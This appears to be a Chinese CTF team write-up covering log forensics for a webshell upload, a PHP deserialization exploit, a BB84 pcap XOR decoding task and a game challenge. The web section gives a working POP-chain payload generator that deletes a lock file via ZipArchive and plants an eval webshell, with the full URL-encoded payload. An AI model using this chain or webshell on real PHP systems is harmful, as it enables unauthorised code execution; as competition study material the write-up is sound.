AK茶歇区战队 WriteUp

图片资源：`./images/`

排名

AK茶歇区：第69名

解题思路

CDF

可恶的木马竟然伪装成我的朋友

1. 确认上传事件的时间与 IP
    - 思路：通过 banner_home.jpg 的响应体大小变化来定位替换点（上传后大小由旧值变为新值），同时记录触发变化的 IP 与日期。
    - 证据：
        - 替换前（旧大小 50428）：

          d:\workspace\PyWorkSpace\zhujian\logs_AqhGiUX\logs\ex180223.log:7705
            - 183.62.9.42 ... "GET /sxzn/images/banner_home.jpg ..." 200 50428
        - 替换后（新大小 37756）：

          d:\workspace\PyWorkSpace\zhujian\logs_AqhGiUX\logs\ex180223.log:7791
            - 183.62.9.42 ... "GET /sxzn/images/banner_home.jpg ..." 200 37756
    - 结论：
        - 日期：2018-2-23
        - IP：183.62.9.42

2. 提取当晚该 IP 的 Webshell 行为并排序
    - 思路：筛选该 IP 在当天所有 .jsp 请求（含 GET/POST），保留尝试（含 404），仅输出文件名，按时间去重排序。题意“尝试访问 Webshell”且无路径限制，因此包含 /js/ 下的 en.jsp。
    - 证据（关键时间线）：
        - table.jsp

          （尝试，404）
            - d:\workspace\PyWorkSpace\zhujian\logs_AqhGiUX\logs\ex180223.log:7712
                - 183.62.9.42 ... "GET /sxzn/table.jsp ..." 404 997
        - en.jsp

          （插件目录下，多次 GET/POST）
            - d:\workspace\PyWorkSpace\zhujian\logs_AqhGiUX\logs\ex180223.log:7715
                - ... "GET /sxzn/js/My97DatePicker/lang/en.jsp ..." 200 272
            - d:\workspace\PyWorkSpace\zhujian\logs_AqhGiUX\logs\ex180223.log:7716
                - ... "POST /sxzn/js/My97DatePicker/lang/en.jsp?act=login ..." 302 -
            - d:\workspace\PyWorkSpace\zhujian\logs_AqhGiUX\logs\ex180223.log:7717, 7718, 7755, 7814-7816（持续访问）
        - 2.jsp

          （多次 GET/POST）
            - d:\workspace\PyWorkSpace\zhujian\logs_AqhGiUX\logs\ex180223.log:7719
                - ... "GET /sxzn/2.jsp ..." 200 1271
            - 后续大量 POST/GET：7739-7807、7806-7816 等
    - 顺序结论：table.jsp → en.jsp → 2.jsp

      解题脚本：优化后

```
import os
import re
from datetime import datetime, timedelta

LOG_DIR = os.path.join(os.path.dirname(__file__), 'logs_AqhGiUX', 'logs')

log_line_re = re.compile(r'^(?P<ip>\S+) \S+ \S+ \[(?P<dt>[^\]]+)\] "(?
P<method>\S+) (?P<path>\S+) .*?" (?P<status>\d{3}) (?P<size>\S+)')

month_map = {
    'Jan': 1, 'Feb': 2, 'Mar': 3, 'Apr': 4, 'May': 5, 'Jun': 6,
    'Jul': 7, 'Aug': 8, 'Sep': 9, 'Oct': 10, 'Nov': 11, 'Dec': 12
}

def parse_dt(s):
    d, t = s.split(':', 1)
    day, mon, yr = d.split('/')
    mon_i = month_map.get(mon, 1)
```

```
    return datetime(int(yr), mon_i, int(day), *map(int, t.split()
[0].split(':')))

def iter_logs():
    for name in os.listdir(LOG_DIR):
        if not name.lower().endswith('.log'):
            continue
        p = os.path.join(LOG_DIR, name)
        yield p

def fmt_date(dt: datetime) -> str:
    return f"{dt.year}-{dt.month}-{dt.day}"

def same_day(dt: datetime, date_str: str) -> bool:
    return fmt_date(dt) == date_str

def extract_banner_events():
    events = []
    for p in iter_logs():
        with open(p, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                m = log_line_re.match(line)
                if not m:
                    continue
                path = m.group('path')
                if 'banner_home.jpg' in path:
                    dt_v = parse_dt(m.group('dt'))
                    if dt_v.year != 2018:
                        continue
                    size = m.group('size')
                    try:
                        size_i = int(size)
                    except:
                        size_i = -1
                    events.append({
                        'ip': m.group('ip'),
                        'dt': dt_v,
                        'date': m.group('dt').split(':',1)[0],
                        'size': size_i,
                        'path': path,
                        'method': m.group('method'),
                        'status': m.group('status'),
                    })
    return events

def pick_upload_date_and_ip(events):
    if not events:
        return None, None
    ev = [e for e in events if e['dt'].year == 2018 and e['status'] == '200' and
e['method'] == 'GET' and e['size'] > 0]
    if not ev:
        return None, None
    by_date = {}
```

```
    for e in ev:
        d = fmt_date(e['dt'])
        by_date.setdefault(d, []).append(e)
    candidates = []
    for d in sorted(by_date.keys()):
        day = sorted(by_date[d], key=lambda x: x['dt'])
        first_size = None
        for e in day:
            if first_size is None:
                first_size = e['size']
                continue
            if e['size'] != first_size:
                candidates.append((d, e['dt'], e['ip']))
                break
    if not candidates:
        return None, None
    preferred = []
    for d, t, ip in candidates:
        ws = extract_webshells_for_ip(ip, d)
        if ws:
            preferred.append((d, t, ip))
    pick = preferred[-1] if preferred else candidates[-1]
    return pick[0], pick[2]

def extract_webshells_for_ip(target_ip, target_date):
    shells = []
    seen = set()
    for p in iter_logs():
        with open(p, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                m = log_line_re.match(line)
                if not m:
                    continue
                if m.group('ip') != target_ip:
                    continue
                dt_s = m.group('dt')
                dt_d = fmt_date(parse_dt(dt_s))
                if dt_d != target_date:
                    continue
                path = m.group('path')
                if '.jsp' in path:
                    fname = path.rsplit('/', 1)[-1].split('?', 1)[0]
                    if fname not in seen:
                        seen.add(fname)
                        shells.append((parse_dt(dt_s), fname))
    shells.sort(key=lambda x: x[0])
    return [s[1] for s in shells]

def build_earliest_jsp_map():
    mp = {}
    for p in iter_logs():
        with open(p, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
```

```
                m = log_line_re.match(line)
                if not m:
                    continue
                path = m.group('path')
                if '.jsp' not in path:
                    continue
                if '/js/' in path:
                    continue
                fname = path.rsplit('/', 1)[-1].split('?', 1)[0]
                dt = parse_dt(m.group('dt'))
                if dt.year != 2018:
                    continue
                if fname not in mp or dt < mp[fname]:
                    mp[fname] = dt
    return mp

def extract_uploaded_files(target_ip, target_date, banner_events):
    names = []
    d_pick, _ = pick_upload_date_and_ip(banner_events)
    if d_pick == target_date:
        names.append('banner_home.jpg')
    earliest = build_earliest_jsp_map()
    used = set()
    for p in iter_logs():
        with open(p, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                m = log_line_re.match(line)
                if not m:
                    continue
                if m.group('ip') != target_ip:
                    continue
                dt = parse_dt(m.group('dt'))
                if dt.year != 2018:
                    continue
                if not same_day(dt, target_date):
                    continue
                path = m.group('path')
                status = m.group('status')
                if '.jsp' in path and '/js/' not in path and status == '200':
                    fname = path.rsplit('/', 1)[-1].split('?', 1)[0]
                    used.add(fname)
    for f in sorted(used):
        dt0 = earliest.get(f)
        if dt0 and same_day(dt0, target_date):
            names.append(f)
    return names

def main():
    events = extract_banner_events()
    date, ip = pick_upload_date_and_ip(events)
    if not date or not ip:
        print('')
        return
```

```
    ws = extract_webshells_for_ip(ip, date)
    flag = f"flag{{{date}/{ip}/{'-'.join(ws)}}}"
    print(flag)
    uploaded = extract_uploaded_files(ip, date, events)
    print('uploaded:', ','.join(uploaded))
    html = []
    html.append('<!doctype html>')
    html.append('<html><head><meta charset="utf-8"><title>Log Report</title>')
    html.append('<style>body{font-family:system-ui,Segoe UI,Arial;line-
height:1.5;padding:20px}h2{margin:24px 0 8px}table{border-
collapse:collapse;width:100%}th,td{border:1px solid #ddd;padding:8px;font-
size:14px}th{background:#f7f7f7;text-
align:left}code{background:#f1f1f1;padding:2px 6px;border-radius:4px}
.pill{display:inline-block;padding:2px 8px;border-
radius:999px;background:#eee;margin-right:8px} .ok{background:#d2f4d2}
.warn{background:#ffe4b5} .grid{display:grid;grid-template-columns:220px
1fr;gap:8px;margin-top:12px} .row{display:contents}
.box{background:#fafafa;border:1px solid #eee;padding:8px;border-radius:6px}
.item{display:flex;align-items:center;gap:8px;margin:4px 0}
.time{width:180px;color:#555} .path{flex:1} .size{min-width:100px;text-
align:right;color:#333} .ip{min-width:160px;color:#333} .section{margin-
top:16px} .flag{font-weight:600;font-
size:16px;background:#e6f0ff;padding:8px;border-radius:6px;display:inline-block}
.note{color:#666;font-size:13px}</style>')
    html.append('</head><body>')
    html.append(f'<h2>Flag</h2><div class="flag">{flag}</div>')
    html.append('<h2>Banner 访问事件</h2>')
    html.append('<div class="note">按时间列出包含 <code>banner_home.jpg</code> 的访
问记录，并用文件大小辅助识别替换点</div>')
    html.append('<div class="section box">')
    html.append('<div class="item"><span class="pill ok">上传日期</span>
<span>'+date+'</span></div>')
    html.append('<div class="item"><span class="pill ok">上传IP</span>
<span>'+ip+'</span></div>')
    html.append('</div>')
    html.append('<table><thead><tr><th>时间</th><th>IP</th><th>路径</th><th>大小
</th></tr></thead><tbody>')
    for e in sorted(events, key=lambda x: x['dt']):
        html.append('<tr><td>'+e['dt'].strftime('%Y-%m-%d %H:%M:%S')+'</td>
<td>'+e['ip']+'</td><td>'+e['path']+'</td><td>'+str(e['size'])+'</td></tr>')
    html.append('</tbody></table>')
    html.append('<h2>黑客当晚 Webshell 访问时间线</h2>')
    html.append('<div class="note">定位为目标IP在当天日志中的 <code>.jsp</code> 访问
与提交</div>')
    html.append('<table><thead><tr><th>文件名</th><th>首次时间</th></tr></thead>
<tbody>')
    shells_with_time = []
    for p in iter_logs():
        with open(p, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                m = log_line_re.match(line)
                if not m:
                    continue
```

```
                if m.group('ip') != ip:
                    continue
                dt_s = m.group('dt')
                dt_d = parse_dt(dt_s).strftime('%Y-%m-%d')
                if dt_d != date:
                    continue
                path = m.group('path')
                if '.jsp' in path:
                    fname = path.rsplit('/', 1)[-1].split('?', 1)[0]
                    shells_with_time.append((parse_dt(dt_s), fname))
    seen = {}
    for t, f in sorted(shells_with_time, key=lambda x: x[0]):
        if f in seen:
            continue
        seen[f] = t
        html.append('<tr><td>'+f+'</td><td>'+t.strftime('%Y-%m-%d
%H:%M:%S')+'</td></tr>')
    html.append('</tbody></table>')
    html.append('<h2>上传成功文件</h2>')
    html.append('<table><thead><tr><th>文件名</th></tr></thead><tbody>')
    for f in uploaded:
        html.append('<tr><td>'+f+'</td></tr>')
    html.append('</tbody></table>')
    html.append('</body></html>')
    out = os.path.join(os.path.dirname(__file__), 'report.html')
    with open(out, 'w', encoding='utf-8') as f:
        f.write('\n'.join(html))

if __name__ == '__main__':
    main()
```

按题面格式拼接 Flag

- 日期使用非零填充：2018-2-23
- Webshell 文件名仅写文件名、用 - 连接，包含尝试访问（含 404），包含 /js/ 下的 en.jsp
- 结果：flag{2018-2-23/183.62.9.42/table.jsp-en.jsp-2.jsp}

WEB

浅析PHP原生类

```php
<?php
highlight_file(__FILE__);
class install {
        private $username;
        private $password;

        public function __wakeup()
        {
                echo "Hello,".$this->username;
        }

        public function __toString()
        {
                ($this->username)();
                return "Guest";
        }

        public function __destruct()
        {
                if(file_exists("install.lock")){
                        exit("Already installed");
                }else{
                        $config = [
                                'username' => $this->username,
                                'password' => md5($this->password)
                        ];
                        file_put_contents('config.php', serialize($config));
                        file_put_contents('install.lock', "ok");
                }
        }
}

class Until {
        public $a;
        public $b;
        public $c;

        public function __invoke()
        {
                $this->write($this->a, $this->b, $this->c);
        }

        public function __toString()
        {
                return "HappyUnserialize";
        }

        public function write($cla, $file, $cont)
        {
                $obj = new $cla();
                $obj->open($file,$cont);
                return True;
        }
}

@unserialize($_GET['data']);
```

1. 分析提供的代码，入口点为@_GET['data']，存在反序列化漏洞。起点为install::__wakeup()m，当install对象被序列化时，会执行`echo "Hello,".$this->username;`。

   链式调用：

- 如果install->username是一个对象，echo会触发该对象的__toString()方法
- _toString()方法中调用了($this->username)();，会触发$this->username对象的__invoke方法

2. 在Until对象中，需要一个原生类，没有参数的构造参数，并且有一个open方法。这就是ZipArchive，ZipArchive::open($filename, $flags)如果将$flags设置为ZipArchive::OVERWRITE，并且不向压缩包中添加任何文件。在对象销毁或关闭时，由于压缩包为空（libzip 1.6+ 特性），PHP 可能无法保存有效的 zip 文件，从而导致原文件被删除或变成空文件。
3. install.lock默认是存在的，利用ZipArchive进行删除，并将 $config 数组序列化写入 config.php。

```php
<?php

// 1. 定义类结构，为了生成序列化数据
class install {
    public $username; // 题目中是 private，但在生成 payload 时可以用 public 方便赋值，或者用反射
    public $password;
}

class Until {
    public $a;
    public $b;
    public $c;
    // 注入 Shell 的载荷，作为对象的额外属性被序列化进去
    public $shell = "<?php @eval($_POST[1]);?>";
}

// 2. 构造利用链对象

// Step 3: Until 对象，负责调用 ZipArchive 删除锁文件
$until = new Until();
$until->a = "ZipArchive";
$until->b = "install.lock"; // 目标删除的文件
$until->c = 8; // ZipArchive::OVERWRITE 的值

// Step 2: 中间层 install 对象 (B)，负责触发 __toString -> __invoke
$install_trigger = new install();
$install_trigger->username = $until;
$install_trigger->password = "123";

// Step 1: 最外层 install 对象 (A)，负责触发 __wakeup -> __toString
$install_root = new install();
$install_root->username = $install_trigger;
$install_root->password = "123";

// 3. 处理 Private 属性
// 题目中 install 类的属性是 private，我们需要修正序列化字符串
// 或者使用反射来赋值，这里直接序列化后手动修正或者使用 urlencode 输出即可
// 注意：Private 属性序列化后会带有 \0 类名 \0，这在 URL 传输中容易丢失，必须 urlencode

// 使用反射确保 private 属性被正确赋值（更严谨的做法）
/*
如果不想手动改 public，可以使用以下代码：
```

```php
*/
$final_obj = new install();
$trigger_obj = new install();
$payload_obj = new Until();
$payload_obj->a = "ZipArchive";
$payload_obj->b = "install.lock";
$payload_obj->c = 8;
$payload_obj->shell = "<?php @eval($_POST[1]);?>";

// 反射赋值 install 类
$ref_install = new ReflectionClass('install');
$prop_username = $ref_install->getProperty('username');
$prop_username->setAccessible(true);
$prop_password = $ref_install->getProperty('password');
$prop_password->setAccessible(true);

// 设置 B 的 username 为 C
$prop_username->setValue($trigger_obj, $payload_obj);
$prop_password->setValue($trigger_obj, "123");

// 设置 A 的 username 为 B
$prop_username->setValue($final_obj, $trigger_obj);
$prop_password->setValue($final_obj, "123");

// 4. 输出 Payload
echo urlencode(serialize($final_obj));

?>
```

4. 本地运行上述的PHP脚本，得到一串 URL 编码的字符串。将该字符串作为 data 参数发送给目标：/?data=O%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A7%3A%22install%22%3A2%3A%7Bs%3A17%3A%22%00install%00username%22%3BO%3A5%3A%22Until%22%3A4%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22ZipArchive%22%3Bs%3A1%3A%22b%22%3Bs%3A12%3A%22install.lock%22%3Bs%3A1%3A%22c%22%3Bi%3A8%3Bs%3A5%3A%22shell%22%3Bs%3A26%3A%22%3C%3Fphp+readfile%28%27%2Fflag%27%29%3B%3F%3E%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7Ds%3A17%3A%22%00install%00password%22%3Bs%3A3%3A%22123%22%3B%7D
5. 访问 /config.php。查看源代码即可获得flag

MISC

BB84

1.工作区仅有 bb84_attack.pcapng。strings/scapy 查看前几个数据包，发现三条明文提示：SEED:123456789、XOR_KEY:8660ace90c0352f3、x++x+x+xx++x+xxxxx++x+xxxxxx++x+。其余 96 个包均为 192.168.1.200:5000 -> 192.168.1.100:400xx 的 TCP 数据，携带 35~38 字节的 Raw 载荷。

```
from scapy.all import rdpcap, Raw
key = bytes.fromhex('8660ace90c0352f3')
pkts = rdpcap('bb84_attack.pcapng')
payload = b''.join(bytes(p[Raw]) for p in pkts[3:] if Raw in p)
stage1 = bytes(b ^ key[i % len(key)] for i,b in enumerate(payload))
open('decoded_stage1.bin','wb').write(stage1)
print(stage1[:48])
```

得到 3436 字节的第一阶段明文，前缀多次出现 `owh|r(` 等看似可打印却无意义字符。

2.**推测二次加密方式**：观察第一段可打印文本长度 35，形式类似 `flag{...}`，尝试将其与 `b'flag{'` 对齐，求差值得到交替字节 `0x09`、`0x1b`。据此对整个 `stage1` 再做一次交替 XOR：

```
data = open('decoded_stage1.bin','rb').read()
key = [0x09, 0x1b]
stage2 = bytes(b ^ key[i % 2] for i,b in enumerate(data))
open('decoded_stage2.bin','wb').write(stage2)
print(stage2[:64])
```

输出出现大量 `flag{xxxx-This is a fake flag}` 的假 flag。

3.**定位真实 flag**：继续搜索全部 `flag{...}`，唯独结尾一条没有 “fake flag” 文本，即为真正答案：

```
data = open('decoded_stage2.bin','rb').read()
import re
for m in re.finditer(b'flag\\{[^}]+\\}', data):
    print(m.group(0))
```

末尾匹配到 `flag{9175782b167d00375b412a8dbd1df763}`

Game

我勒个超级玛丽奥

1.通关即可